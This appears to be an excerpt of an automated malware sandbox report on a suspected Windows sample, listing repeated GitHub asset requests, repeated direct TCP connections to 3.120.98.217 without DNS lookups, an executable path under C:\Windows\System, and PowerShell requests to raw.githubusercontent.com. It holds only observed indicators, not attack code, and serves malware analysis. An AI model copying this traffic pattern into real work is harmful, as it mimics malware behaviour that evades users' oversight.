Source: global traffic	HTTP traffic detected: GET /assets/3m-0151c2fda0ce.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/kpmg-c249f20c5173.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/sap-96248a56d312.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/mercedes-fcf97d2d6ec4.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/pg-f1f19955c4e4.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/telus-df0c2109df99.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/shape-0-df97fa6b0c27.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-copilot-editor-6474457a5b19.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/shape-1-c219318e479a.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/git-branch-productivity-c304b83d09c7.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-copilot-sidebar-3d2efb504577.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/bg-glow-purple-6e9a6a96cb04.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-actions-2-c5178134f381.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-codespaces-1d2d17e8b2b7.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-mobile-chat-9e7549906574.webp HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/shape-2-f30dcc9bd35c.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/git-branch-security-2-f6a799957581.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-ghas-list-84af1f1ce2b8.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/bg-glow-blue-036b8dc2d1ce.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-dependabot-d98c73cc6724.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-code-scanning-fc9dfb212aa3.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/shape-3-9e542b5c31b8.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-secret-scanning-2-88fb429376d6.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/git-branch-collaboration-2-e46b1fb1d363.svg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/issues-plan-2-46d1ce1d4519.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-projects-2-26077f1dd188.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-discussions-2-b915a6dd867e.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/illu-pull-requests-2-280cc958fc05.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/directus-4da9e46da0ac.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/commandpost-18d45fffda67.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/chaynhq-4c5953025dca.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/imolorhe-9d771b1d4332.jpeg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/dayhaysoos-c50659cac73b.jpeg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/yyx990803-e11c7b140b17.jpeg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/eslint-33bd6140c37f.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/sindresorhus-d3224f241a4d.jpeg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/homebrew-c7e38eeacb52.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/globe-d6f3f4ee645a.jpg HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-copilot-54114bfd1d20.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-mona-d1c861cd8018.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-star-36e5b5724973.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-diamond-ed642fc95144.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-orb-a0438104a7a2.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/footer-blur-8bc8e1f23df6.png HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217
Source: unknown	TCP traffic detected without corresponding DNS query: 3.120.98.217

Source: C:\Windows\System\ERbKWDm.exe

Code function: 5_2_00007FF67DCD4648 WSAStartup,WSARecvFrom,

5_2_00007FF67DCD4648

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/dark-9c5b7a476542.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/light-3e154969b9f9.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/primer-primitives-4cf0d59ab51a.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/primer-fefb1a332c28.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/global-103ebe55f9d9.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/github-6da540aa3f84.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/dashboard-a70f6c490d6e.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/experiments-d77f07364a5f.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/site-fbd7cf8f6ba2.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/discussions-adf1d1b8b95c.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/home-339181319b7e.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/primer-react-css.8879c83c1311e6328466.module.css HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: github.githubassets.comConnection: Keep-Alive
